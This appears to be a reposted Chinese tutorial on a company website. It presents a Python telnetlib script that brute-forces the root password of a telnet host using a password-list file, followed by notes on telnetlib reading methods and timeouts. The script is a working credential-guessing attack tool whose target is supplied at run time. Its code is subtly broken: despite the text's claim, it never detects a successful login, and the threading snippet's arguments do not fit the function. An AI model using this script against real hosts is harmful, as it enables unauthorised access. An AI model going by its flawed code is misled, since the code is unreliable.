• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    Python实现Telnet自动连接检测密码的示例

    最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。

    Python内置了telnetlib模块,支持telnet远程操作,只要直接import就可以。

    代码如下:

    # encoding=utf-8
    import telnetlib
    import time
    import sys
    import os
    
    
    def do_telnet(Host, Port, username, password, finish):
        # 连接Telnet服务器
        tn = telnetlib.Telnet(Host, Port, timeout=1)
        tn.set_debuglevel(3)
    
        # 输入登录用户名
        tn.read_until("login: ")
        tn.write(str(username) + '\n')
    
        # 输入登录密码
        tn.read_until("Password: ")
        tn.write(str(password) + '\n')
    
        # 判断密码错误提示,如果没有这个提示说明登录成功
        if tn.read_until(finish):
            print("****** login incorrect!\n")
        tn.close()
    
    
    if __name__ == '__main__':
        Host = input("IP:")  # Telnet服务器IP
        Port = input("Port:")  # Telnet服务器端口
        username = 'root'  # 登录用户名
        finish = 'incorrect'  # 密码错误提示
        pw_file = open('.\\pw.txt', 'r+')  # 密码文件
        Index = 0
        print(time.asctime(), ":   ****** begin", "\n")
        while True:
            password = pw_file.readline()
            Index += 1
            print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
            if len(password) == 0:
                break
            do_telnet(Host, Port, username, password, finish)
        pw_file.close()

    密码本pw.txt,内容例如:

    root  
    admin  
    12345  
    888888 

    输出如下:

    注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。

    telnetlib提供好多方法可以得到数据,象read_until()是当结果中存在想要的信息时返回,read_some()是只要有结果就返回,read_very_lazy()是返回缓冲区中的数据。经过看代码,telnetlib采用缓冲的处理方式,因此数据并不是一下子就返回的,而是先放在了缓冲区中。许多的读取处理都是围绕着这个缓冲区来的。而缓冲区的信息何时到达就不说不清楚了,也许很快,也许很慢,也许分别到达,也许一下子就收到了。因此,对于数据不一定到齐的这种情况,就采用了象read_until()来判断缓冲区中的数据是否有想要的内容,如果没有就等待,除非到达了超时时间。再有可以使用expect方法,与read_until差不多,但是它可以支持正则表达式,功能要强大得多。

    在网上还有一个叫 Pexpect 它好象功能强大,它支持多种协议,它的主页就建议使用 Pexpect 来下载它的文档。不过因为网络不太好就没有下来,不知道支不支持 Telnet 协议。

    上面的程序再配以 ftplib 的功能就可以做一个远程更新的维护程序。只不过如何判断后台返回的信息,我没有找到好的方法,是使用read_lazy()还是read_eager()呢?还是什么别的方法。最主要的问题是,返回的数据不一定完整。好象没有提供一个read_line()的方法。

    其中port和timeout是可选的参数,而timeout的只是在初始化socket连接时起作用,而一旦连接成功后如果出现等待那就不会起作用了,比如使用read_until方式获取内容时返回的内容与指定的内容没有吻合,那么就会造成提示等待的情况,这时timeout是不会起作用的,而这个socket连接会一直保持着,永生不死。

    那么如何解决这个问题呢,其实还有一种比较原始的方法,就是使用sleep方法来代替read_until方法,这样就不会出现种情况,因为到点就会自己输入,最多也就是最后得不到想要的结果,但是这个方式很不稳定,兼容性也不好;另一种方法是使用线程来启动这个函数,然后对子线程进行超时设置,这样就可以达到间接控制这个telnet连接的目的了。

    import threading  
    
    th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))  
    th1.start()  
    th1.join(20)  ##20秒超时时间 

    遇到的问题:

    传递给Telnet方法的字符串都会被解一次码,所以如果你传递过去需要write的字符串是已经解码的unicode的话,那么就会报错的,所以在传递发送的字符串之前还是先编成utf-8为妥,用ascii编码也可以。

    以上就是Python实现Telnet自动连接检测密码的示例的详细内容,更多关于python Telnet自动连接检测密码的资料请关注脚本之家其它相关文章!

    您可能感兴趣的文章:
    • Python如何telnet到网络设备
    • 如何在Python3中使用telnetlib模块连接网络设备
    • Python telnet登陆功能实现代码
    • 使用python telnetlib批量备份交换机配置的方法
    • python 处理telnet返回的More,以及get想要的那个参数方法
    • 对python使用telnet实现弱密码登录的方法详解
    • 使用python Telnet远程登录执行程序的方法
    • Python判断telnet通不通的实例
    • Python实现telnet服务器的方法
    • Python实现的使用telnet登陆聊天室实例
    • python实现telnet客户端的方法
    上一篇:AI:如何训练机器学习的模型
    下一篇:Python通过m3u8文件下载合并ts视频的操作
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    Python实现Telnet自动连接检测密码的示例 Python,实现,Telnet,自动,连接,